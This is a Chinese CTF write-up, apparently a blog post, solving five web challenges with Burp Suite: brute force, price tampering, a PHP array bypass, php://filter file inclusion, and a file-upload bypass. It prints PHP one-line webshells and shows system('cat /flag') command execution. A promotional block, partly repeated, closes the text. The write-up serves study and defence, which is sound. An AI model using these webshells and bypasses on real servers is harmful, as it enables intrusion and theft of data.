分析题目,师姐的生日无非从0101到1231,可以确定是数值爆破。
这里需要使用的工具是Burpsuite抓包工具。Burp Suite 是一款集成了各种网络攻击工具的平台,用于对Web应用进行安全性测试。它可以拦截、查看和修改发往服务器的HTTP/HTTPS请求。在这个过程中,Burp Suite充当了客户端(例如,你的浏览器)和Web服务器之间的中间人,允许你在请求继续前往服务器之前对其进行审查和修改。
最新Burpsuite双语免JAVA环境专业版下载地址(持续更新),附激活教程https://www.52pojie.cn/thread-1544866-1-1.html
打开Burpsuite抓包工具,这里我推荐直接使用Burpsuite自带的浏览器(默认已经配置好了代理),可以避免本地浏览器代理配置时各种乱七八糟的报错。
若Burpsuite数据包中遇到光标显示错位,数据显示乱码等问题,可以根据下图进行简单的设置:(外观中字体大小可根据个人喜好),HTTP消息的显示方式推荐与下图相同
安装激活,配置好Burpsuite之后,首先点击代理,打开内嵌浏览器:
复制靶机地址,粘贴到内嵌浏览器地址栏回车打开:
回到Burpsuite代理界面,开启拦截,随便输入四个数字,提交,Burpsuite会自动帮我们拦截请求数据包:
右键将数据包发送到Inturder(Burpsuite中用于爆破的模块):
点击Intruder,选中需要爆破的字段,这里是1234,添加payload的位置:
前面说过,师姐的生日无非从0101到1231,根据实际情况设置数值,间隔,整数最大和最小位数,点击开始攻击:
跑完之后点击长度,检索响应长度不相同的密码:
0709长度明显不一样,双击查看响应内容:
找到了flag。
不用想,这里爆破出来的的生日是随机生成的,肯定不是这个温柔师姐的真实生日。
本题完。
2.云曦超市大甩卖
打开后是这样的一个商品页面,默认的余额是1000,但是FLAG文件需要的金额是999999,这让我联想到之前在BUGKU上面做过的一道盖房子游戏的题目,数值篡改。
需要使用的工具依然是Burpsuite,抓取购买FLAG文件的数据包:(抓取方式与上题一致,打开代理,点击浏览器中FLAG表单的购买按钮即可抓到对应的数据包)
这是抓取到的数据包,可以看到,price后面的999999就是商品价格:
直接把它改成1,然后放行:(HTTP请求由多个部分组成,包括请求行(如
POST /index.php HTTP/1.1
,指明了请求方法、资源路径和HTTP版本)、请求头(包含了一些关于请求的附加信息,如Content-Type
、User-Agent
等)和请求体(请求的实际内容,对于POST请求,通常包含要传送给服务器的数据)。在这个例子中,通过修改请求体中的数据(即将price
的值从999999.00修改为1.00),你实际上是在尝试绕过客户端的验证机制,直接向服务器提交了一个经过篡改的价格。如果服务器端没有对价格进行恰当的验证,这会导致不合理或非法的操作被执行。
服务器接收到客户端的HTTP请求后,会基于请求的内容(如请求方法、URI、头部信息和请求体)进行处理。在这个案例中,服务器期望接收到包含商品ID和价格的表单数据。如果服务器端没有对这个价格进行验证(比如,检查价格是否与数据库中该商品的实际价格相符),并且直接根据提交的数据处理购买逻辑,那么通过提交一个较低的价格就可能成功购买商品。这种情况下,服务器的逻辑存在缺陷,因为它假设了客户端提交的数据是可靠的,没有进行适当的后端验证。
得到了FLAG:
总结一下这道题:
挑战内容:
- 参赛者有1000元的余额。
- FLAG商品的价格被设置为999999元,远超过参赛者的余额。
- 购买商品的流程包含提交一个包含商品ID和价格的表单。
- 参赛者需要找到一种方法以他们的余额购买FLAG商品。
解决方法:
通过使用Burp Suite等工具来拦截和篡改发往服务器的HTTP请求,特别是修改价格字段的值,从而尝试以低于正常价格的金额购买FLAG商品。
涉及的关键概念:
- 客户端与服务器交互:理解Web应用中客户端如何通过HTTP请求与服务器进行交互。
- HTTP请求篡改:学习如何使用代理工具拦截和修改HTTP请求。
- 输入验证和处理:认识到在服务器端进行严格的输入验证的重要性,以及验证应该包括哪些方面(如价格验证)。
安全启示:
- 客户端验证不足够:仅在客户端进行输入验证是不安全的,因为客户端发送的数据可以被篡改。
- 服务器端验证至关重要:服务器应该对所有接收到的数据进行验证,确保它们符合期望的标准和逻辑。
- 数据完整性和业务逻辑:Web应用的业务逻辑应确保所有交易的合理性,包括价格检查、库存管理等。
技术与策略:
- 使用代理工具(如Burp Suite)进行网络通信的拦截和篡改。
- 理解Web表单的提交机制,以及如何通过篡改表单值来测试服务器端的验证机制。
这个挑战提供了一个实际操作的机会,通过它可以学习到网络安全基础、数据篡改技术和必要的防御策略,这对于理解和提升Web应用的安全性至关重要。
本题完。
3.Gentle_sister
看看它的源代码:
最重要的是中间的这个PHP脚本,这个脚本用于处理一个名为my_parameter的GET参数,脚本的逻辑如下:
首先,脚本会检查GET请求中是否存在my_paremeter参数,如果不存在,脚本就不会进行下一步操作。然后,脚本使用preg_match函数和正则表达式/[0-9]/来检查my_parameter函数中是否存在数字,如果存在数字(形如my_parameter=value123),则会输出error!
最后使用Intval函数尝试将$my_paramter参数的值转换为一个整数,如果转化的值为非零(即参数值可以被解析为一个非零整数),则会输出flag的值。
明白了代码逻辑,就可以做这道题了。
显而易见,PHP脚本是在Gentle_sister.php这个文件中的,因此,我们传递参数的页面也在http://172.16.17.201:50183/Gentle_sister.php。
构造的payloa为http://172.16.17.201:50183/Gentle_sister.php/?my_parameter[]=1
可以直接访问也可以Hackbar工具传参。
通过使用my_parameter[]=1,相当于是告诉服务器,我们在传递的是一个包含1的数组而非数字或字符串,在这种情况下,$_GET[‘my_parameter’]得到的将是一个数组,而不是一个单一的值。原本脚本的设计是利用preg_match函数和正则表达式来检查my_parameter的值中是否包含数字,然而,当my_parameter是一个数组时,函数无法处理这样的输入,从而直接绕过检查。
脚本中的intval函数用于将my_parameter参数的值转换为整数,但这里参数的值是数组,因此函数无法工作。因为它期待的是可以转换为整数的数字或字符串。
因此,我们可以绕过两处检查,从而输出flag的内容。
总结一下:
这道题的考点是PHP特性。PHP是一种类型松散的语言,意味着它在处理不同类型的数据时可以非常灵活,PHP允许通过在参数名后面添加[]的方式来传递数组作为GET或POST请求的一部分,如果脚本没有正确地处理预期之外的数组输入,攻击者可能会利用这个特性来绕过安全检查。
对外部输入的有效验证是PHP应用安全的关键,在上述的情况中,未对my_parameter的类型进行检查就直接操作,展示了输入验证不充分的问题。
本题完。
4.一个朴实无华的页面
这是一道文件包含的题目,刚开始我还以为是sql注入,考核的时候就一直卡着没有做出来。
补充知识:
robots.txt
是一个存放在网站根目录下的文本文件,它向访问网站的搜索引擎爬虫指示了哪些页面可以抓取,哪些不可以。这个文件主要用于网站的搜索引擎优化(SEO),并不是PHP特有的概念,而是互联网上的标准协议,称为“爬虫排除标准”(Robots Exclusion Protocol)。
因此,这里我们直接访问http://172.16.17.201:50074/robots.txt
这表示了该网站使用了robots.txt文件来告诉所有遵循“爬虫排除标准”的搜索引擎爬虫(User-agent: *表示这适用于所有爬虫),它们不应该尝试访问或索取网站路径下的/0e1G7.php页面。说简单点,就是这个指令实在请求所有的搜索引擎爬虫不要抓取0e1G7.php这个特定的文件。
补充一下:
这个文件和其中的指令对人类访问者没有任何的影响,如果页面没有访问控制的措施,任何人都可以访问0e1G7.php这个文件。robots.txt文件是可以公开访问的,这意味着任何人都可以查看网站请求哪些部分不要被索引。这有时会泄露网站的一些信息。
那我们就看看这个0e1G7.php文件中有个啥:
这是一个php脚本。从中我们可以知道flag在flag.php中,当然,直接访问flag.php肯定是不行的,不然也不会有这老些代码。
代码分析:
//flag in flag.php就是说flag在flag.php这个文件里面。
if(isset(KaTeX parse error: Expected '}', got 'EOF' at end of input: …T['G7'])){这句话检查_GET数组中是否存在G7键,$_GET 数组用于收集通过URL参数传递的数据,如果URL中有?G7= ,那么这个条件为真
$file= _ G E T [ ′ G 7 ′ ] ; 将 \_GET['G7'];将 _GET[′G7′];将_GET[‘G7’]的值赋给变量 f i l e ,这意味着 file,这意味着 file,这意味着_file变量的内容取决于URL参数G7的值。
$file = str_replace(“base”, “???”, f i l e ) ; 会在变量 file);会在变量 file);会在变量file中寻找所有的"base"字符串,并把它们替换为???。
include( f i l e ) ; 这段代码尝试包含并执行由 file);这段代码尝试包含并执行由 file);这段代码尝试包含并执行由file变量指定的文件(这里当然就是要指定为flag.php文件),
include
是PHP中用于在脚本执行时引入并运行另一个文件的语句。如果文件不存在或路径不正确,PHP会发出警告,但脚本会继续执行。
这个问题的核心在于理解PHP的文件包含机制、字符串处理以及流封装协议的使用。直接访问
flag.php
无响应,而通过php://filter
协议编码flag.php
的内容则成功返回flag
这涉及到几个关键点的绕过和利用:
- 字符串替换绕过:源代码中的
str\_replace("base", "???", $file);
这一行试图阻止包含任何包含"base"字符串的文件名。在使用php://filter/read=convert.Base64-encode/resource=flag.php
的URL中,使用Base绕过对base的替换。
- 流封装协议的利用: 使用
php://filter
是绕过文件包含保护机制的关键。php://filter
允许你在包含文件之前对文件内容进行处理。在这个例子中,利用了read=convert.Base64-encode
过滤器,这意味着在文件包含(执行)之前,文件内容首先被Base64编码。因为Base64编码后的内容只是一串字符,所以include()
操作并不会执行其中的PHP代码,而是将其作为普通文本输出。
- 绕过PHP执行:直接访问
flag.php
可能因为服务器配置或文件权限问题没有响应。PHP文件在被include
时通常会被执行,如果flag.php
里没有直接输出内容(假设flag是通过某种PHP变量或函数定义的),直接包含flag.php
不会显示flag。但通过php://filter
对内容进行Base64编码,然后输出,可以绕过这个问题,因为我们关心的是文件的原始内容,而不是执行结果。
总结来说,
<?G7=php://filter/read=convert.Base64-encode/resource=flag.php>
这个URL成功输出flag的原因,在于它巧妙地利用了PHP的流封装协议来绕过字符串替换限制,并且通过Base64编码文件内容,避免了PHP代码的执行,直接以文本形式输出文件内容。这种方式既绕过了可能对文件直接包含做出的限制,也避免了服务器配置或权限问题可能导致的直接执行失败。
构造的payload:http://172.16.17.201:50074/0e1G7.php?G7=php://filter/read=convert.Base64-encode/resource=flag.php
得到一串base64编码
解码后就得到flag啦。
本题完。
5.这都不做
这是一道文件上传漏洞利用的题目。
首先介绍一下什么是文件上传漏洞,什么是一句话木马:
需要绕过的地方
- 文件类型验证:服务器可能会限制可以上传的文件类型,通常通过检查文件扩展名来实施。
- 内容验证:服务器可能会检查文件的MIME类型或文件内容,以确保上传的是合法的图像或文档文件等。
- 文件大小限制:上传的文件大小可能受到限制。
- 服务端代码执行防护:服务器可能会尝试阻止上传的文件被执行,特别是对于脚本文件。
绕过的方式
- 扩展名绕过:尝试改变文件扩展名或使用服务器允许的其他扩展名,例如将
.php
文件改为.php5
、.phtml
等。- 利用双写扩展名:如
shell.php.jpg
,某些服务器可能会误认为是合法的图片文件,实则最终以PHP文件执行。- MIME类型欺骗:在HTTP请求中修改
Content-Type
头,尝试绕过基于MIME类型的验证。- 内容混淆:将恶意代码嵌入到看似合法的文件中,如将PHP代码隐藏在图像文件中,尝试绕过内容基的检查。
- 利用服务器配置错误:有些服务器配置可能允许执行带有特定扩展名的文件,甚至在文件名中包含某些关键字。
- 利用文件解析漏洞:某些Web服务器或应用程序在解析文件时存在缺陷,如Apache的多后缀处理,可被利用来执行脚本。
一句话木马
一旦绕过了文件上传的限制,可以上传一句话木马来获取webshell。一句话木马通常是极其简短的脚本代码,用于远程执行命令,如:
<?php eval($_POST['cmd']); ?>
成功上传后,攻击者可以通过发送HTTP POST请求并携带
cmd
参数来执行服务器上的任意命令。所以,我们这里的核心就是要绕过各种各样奇奇怪怪的上传限制,把一句话木马上传到服务器上并使他解释为PHP代码执行,我们就可以进行远程命令执行,相当于获得了管理员权限。
经过多次测试后,这道题目一共需要绕过三处:
1,文件名双写绕过2,文件类型绕过
3,PHP短标签绕过
绕过文件上传漏洞我们一般使用Burpsite,没错,又是这个老朋友。
使用Burpsuite工具抓包,抓包方法与前面一样。
右键发送到repeater重放器改包:
需要修改的是这三处:
经过多次尝试,服务器会将上传的文件后缀注释掉,不是.php结尾的文件,自然不会被服务器当做php代码执行。所以我们这里需要双写php,即在.php中间再加一个php,即为.pphphp,服务器会注释掉中间的php,还剩一个.php,其中的代码就可以被服务器执行。
还有一处需要绕过的是Content-type,即文件类型,这是文件上传漏洞题目中需要修改最多的地方,基本上每一题都要改这个地方。这里默认的是application/octet-stream,经过尝试报错,可以知道这里服务器只允许上传jpg图片文件,jpg文件的Content-type是image/jpeg。
最后一处需要绕过的地方是php短标签,这是需要补充的知识:
在PHP中,短标签(short tag)是一种简写形式的PHP标签。标准的PHP标签是
<?php
和?>
,而短标签则是<?
和?>
。短标签的使用可以让PHP代码更简洁,但它需要在php.ini
配置文件中通过short\_open\_tag
选项被明确地启用。由于不是所有的服务器都启用了短标签,依赖短标签的代码可能在某些环境中无法正常运行,因此使用短标签可能会导致可移植性问题。短标签绕过
在文件上传漏洞的上下文中,"短标签绕过"通常指的是攻击者利用目标服务器开启了对PHP短标签的支持这一点,通过上传包含短标签(如
<?
)的恶意PHP代码来执行远程代码。这是因为服务器可能仅仅检查文件是否包含标准的PHP开头标签(<?php
),而忽略了短标签。例如,如果攻击者知道目标服务器启用了PHP短标签,但文件上传过滤器只检查是否存在
<?php
标签来决定文件是否包含PHP代码,那么攻击者可以利用这个漏洞通过上传包含<?
开头的PHP代码来绕过过滤器。绕过示例
比如,一个简单的一句话木马PHP脚本,使用标准PHP标签可能是这样的:
<?php eval($\_REQUEST['code']); ?>但如果服务器开启了短标签支持,攻击者可以利用短标签绕过,简化为:
<? eval($\_REQUEST['code']); ?>或者更加隐蔽地使用:
<?=shell\_exec($\_GET['cmd'])?>这里
<?=
是另一种形式的短标签,用于输出,但它在PHP 5.4.0及更高版本中默认开启,不受short\_open\_tag
配置选项的影响。
综上所述,需要修改的地方如图所示,然后点击放行:
(这里我们在一句话木马的内容前面加上GIF89a,这是GIF文件的标识,可以做到更好的隐藏。而且我们检验上传是否成功的方法一般为直接访问上传的一句话木马文件,在已经绕过所有限制,并且上传成功的前提下,服务器会执行我们上传的脚本,但是GIF89a只是一个标识,并不会被执行,访问文件时会正常显示在页面上,也方便我们自查一句话木马是否上传成功)
最后让我们猜路径,可以看到,处理文件上传的php脚本为upload.php,所以我们猜测存放上传文件的路径为/uplpad文件夹。
可以看到,这个php文件已经成功上传并被服务器执行。既然已经植入了木马,那我们也可以进行命令执行了。归根结底,我们需要找到的flag存放于网站某个目录下的某个文件中,我们要做的就是找到这个文件,并且读取文件中的内容。这里有两种做法,一种是直接在一句话木马界面进行命令执行,还有一种是使用中国蚁剑这个工具,可以连接已经上传的木马文件,从而获得访问网站目录等管理员权限。其实两种方法的原理都是一样的,只不过蚁剑提供了一个图形化界面,更加便捷。
首先我们进行第一种方式,命令执行:
这里我们使用的工具是浏览器插件Hackbar,注意,这里可不能直接通过URL访问,因为我们的一句话木马是要用POST请求方式才能起作用,直接访问默认使用的是GET请求方式。在一句话木马的界面,F12打开Hackbar工具,勾选POST Data,在下方的参数框中填入shell=system(‘ls’);,意为列出当前目录下所有文件。出现yjh.php,说明命令起作用了。
shell=system(‘ls /’);去根目录看看,可以看到flag文件
shell=system(‘cat /flag’);使用cat命令查看flag文件中的内容
第二种方法:使用中国蚁剑工具:
右键空白页面添加数据,填上一句话木马的路径,密码为shell,测试连接
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
一、网安学习成长路线图
网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算